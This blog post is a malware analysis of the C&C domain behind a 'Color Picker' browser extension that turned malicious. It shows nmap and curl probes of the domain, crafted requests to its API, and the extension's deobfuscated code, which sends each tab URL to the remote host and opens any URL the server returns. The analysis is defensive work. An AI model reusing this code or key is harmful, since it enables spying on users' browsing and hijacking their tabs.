"Color Picker" Browser Extension Becomes Malware

| 6 minute read | Updated

Recently, several articles have been published about several browser extensions that have started shipping malware. Many of these extensions were previously benign and were “trusted” and “verified” by the browser vendors.

This article focuses more on one of the C&C domains used by the extension: hxxp(s)://admitclick.net.

Low-Hanging Fruit

I swear I’ve seen this domain before, or maybe I’m thinking of doubleclick.net, in any case, domains that have “click” in them set of my alarm bells.

This domain’s DNS is handled by Cloudflare:

$ dig NS admitclick.net +short
kevin.ns.cloudflare.com.
sky.ns.cloudflare.com.

A quick nmap scan shows that there might be some fun to the had with FTP…

$ nmap admitclick.net
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-08 16:04 -0500
Nmap scan report for admitclick.net (104.21.48.241)
Host is up (0.017s latency).
Other addresses for admitclick.net (not scanned): 172.67.157.3 2606:4700:3033::ac43:9d03 2606:4700:3035::6815:30f1
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds

Though I’m not sure if there’s actually an FTP server at the other end on port 21.

Browsing, or otherwise GETing the domain, returns a 404 Not Found, with an extremely old Nginx server version, 0.5.358, which looks like it was released in January of 2008.

$ curl -i http://admitclick.net
HTTP/1.1 404 Not Found
Date: Tue, 08 Jul 2025 21:49:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
[cloudflare headers truncated]

<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/0.5.35</center></body></html>

Likewise for HTTPS:

$ curl -i https://admitclick.net
HTTP/2 404
date: Tue, 08 Jul 2025 21:52:52 GMT
content-type: text/html
server: cloudflare
[cloudflare headers truncated]

<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/0.5.35</center></body></html>

In the browser extension source, it appears that this server expects a POST to the /api endpoint. A GET /api returns a redirect to google.com:

$ curl -i https://admitclick.net/api
HTTP/2 302
date: Tue, 08 Jul 2025 21:54:41 GMT
content-type: text/html; charset=utf-8
location: https://www.google.com/
server: cloudflare
[cloudflare headers truncated]

<a href="https://www.google.com/">Found</a>.

I found two additional endpoints on this domain, /click and /redir.

`GET /click` puts you in a redirect loop:
$ curl -iL --max-redirs 10 https://admitclick.net/click
HTTP/2 301
date: Tue, 08 Jul 2025 21:58:04 GMT
content-type: text/html; charset=utf-8
server: cloudflare
location: /newapi/click/
referrer-policy: no-referrer
[cloudflare headers truncated]

HTTP/2 301
date: Tue, 08 Jul 2025 21:58:04 GMT
content-type: text/html
location: http://admitclick.net/newapi/click
server: cloudflare
referrer-policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: /newapi/click/
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:05 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: http://admitclick.net/newapi/click
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: /newapi/click/
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:05 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: http://admitclick.net/newapi/click
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: /newapi/click/
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:05 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: http://admitclick.net/newapi/click
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:05 GMT
Content-Type: text/html; charset=utf-7
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: /newapi/click/
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:06 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: http://admitclick.net/newapi/click
Referrer-Policy: no-referrer
[cloudflare headers truncated]

HTTP/1.1 301 Moved Permanently
Date: Tue, 08 Jul 2025 21:58:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Location: /newapi/click/
Referrer-Policy: no-referrer
[cloudflare headers truncated]

curl: (47) Maximum (10) redirects followed

And GET /redir causes a similar redirect loop, this time to /redir instead of /newapi/.... I find it interesting it’s redirecting away from HTTPS.

I was hoping that a successful POST would return something. Something other than an HTTP 204, that is.

Crafting a request using the extension’s source code works, but it doesn’t return anything useful for this quick investigation:

$ curl -i -A "$ua" -X POST "https://admitclick.net/api?key=565ebded7e63cdfa5fcbe5734bdb4281a85d6f21&
uuid=fb31bd16-fa51-4a91-a637-c28b6fbb48db&allowempty=1&out=https://yahoo.com&format=txt&r=0.7508094777082555"
HTTP/2 204
date: Tue, 08 Jul 2025 22:23:04 GMT
server: cloudflare
access-control-allow-origin: *
referrer-policy: no-referrer
[cloudflare headers truncated]

I just used PowerShell’s New-Guid to create a new GUID, or UUID.

Playing around with some of the URL query parameters changes the response from the server.

For example, changing allowempty=1 to allowempty=0 (assuming 1 for true and 0 for false) returns the value of the out query parameter:

$ curl -i -A "$ua" -X POST "https://admitclick.net/api?key=565ebded7e63cdfa5fcbe5734bdb4281a85d6f21&uuid=fb31bd16-fa51-4a91-a637-c28b6fbb48db&allowempty=0&out=https://yahoo.comm&format=txt&r=0.7508094777082555"
HTTP/2 200
date: Tue, 08 Jul 2025 22:27:49 GMT
content-type: text/plain; charset=utf-8
content-length: 18
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
access-control-allow-origin: *
referrer-policy: no-referrer
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=lzim%2B%2B8fBll5i25ifNqP5hSCaf5NdxFKmu8ftGsvY0vlVFuIQ9gKVeMWqSb7uNAQWyxKPxs6x8JIG8QYiEsyKGGt%2F%2FY14a6I3ZSktg%3D%3D"}]}
cf-ray: 95c302dbde1aa1f5-MSP
alt-svc: h3=":443"; ma=86400

https://yahoo.comm

Note the two ms, it doesn’t appear that the server is doing any validation of this parameter.

Likewise, changing the format query parameter changes the format of the response:

$ curl -i -A "$ua" -X POST "https://admitclick.net/api?key=565ebded7e63cdfa5fcbe5734bdb4281a85d6f21&uuid=fb31bd16-fa51-4a91-a637-c28b6fbb48db&allowempty=0&out=https://yahoo.comm&format=json&r=0.7508094777082555"
HTTP/2 200
date: Tue, 08 Jul 2025 22:29:53 GMT
content-type: application/json
content-length: 26
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
access-control-allow-origin: *
referrer-policy: no-referrer
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=mLzgjk5Ne3cPZDCgU2fNspy%2BM4jJW7i9Y0w59jJjBVK9CxLCNSy2SFGERrmE4SlH3ALmtpiUxF4%2Fr0pwPFu9GyfyFvH5B%2F1pd4XuBg%3D%3D"}]}
cf-ray: 95c305de7c59ad02-MSP
alt-svc: h3=":443"; ma=86400

{ ["https://yahoo.comm"] }

I haven’t found any other formats besides txt or json.

So they’re collecting URLs?

That’s what it looks like, however if we go back to the source code (edited for readability):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
chrome.tabs.onUpdated.addListener(function() {
    var t = o(r().mark((function t(e, o, i) {
        var c, s;
        return r().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
                case 0:
                if (!o.url) {
                    t.next = 8;
                    break;
                }
                return c = {
                    method: "POST",
                    redirect: "follow"
                }, t.next = 5, fetch("https://admitclick.net/api?key=565ebded7e63cdfa5fcbe5734bdb4281a85d6f21&uuid=" 
                            + a + "&allowempty=1&out=" 
                            + encodeURIComponent(o.url) + "&format=txt&r=" 
                            + Math.random(), c).then((function(t) {
                    return t.text();
                })).then((function(t) {
                    return !(!t || !t.match(/^http/i)) && t;
                })).catch((function(t) {
                    return !1;
                }));

                case 5:
                (s = t.sent) && s.match(/^http/i) && (n.keepTab ? chrome.tabs.update(e, {
                    url: s
                }, (function() {})) : chrome.tabs.create({
                    active: i.active,
                    index: i.index,
                    url: s,
                    windowId: i.windowId,
                    pinned: i.pinned
                }, (function() {
                    chrome.tabs.remove(e, (function() {}));
                })));

                case 8:
                case "end":
                return t.stop();
            }
        }), t);
    })));
    return function(e, r, n) {
        return t.apply(this, arguments);
    };
}());

We can see on line 14, the “next step” would be to go to case 5:, line 25, which looks like it would open up the page returned from the C&C server. My first thought is they’re using this to look for login pages to steal credentials. I wonder what happens if we went to some well-known login pages, like login.microsoftonline.com

Well I tried with login.microsoftonline.com and accounts.google.com with their full signin URLs, and didn’t get anything strange returned from the C&C server.

Perhaps there’s more clues in the extension source that would point to what they’re trying to do. In any case you should uninstall these extensions NOW. A list can be found in either of the two articles linked at the beginning of this one.

Recent Posts

"Color Picker" Browser Extension Becomes Malware
Windows Update Error 0x80070780
Optional Parameters Required to Close WebSockets in Safari Without Errors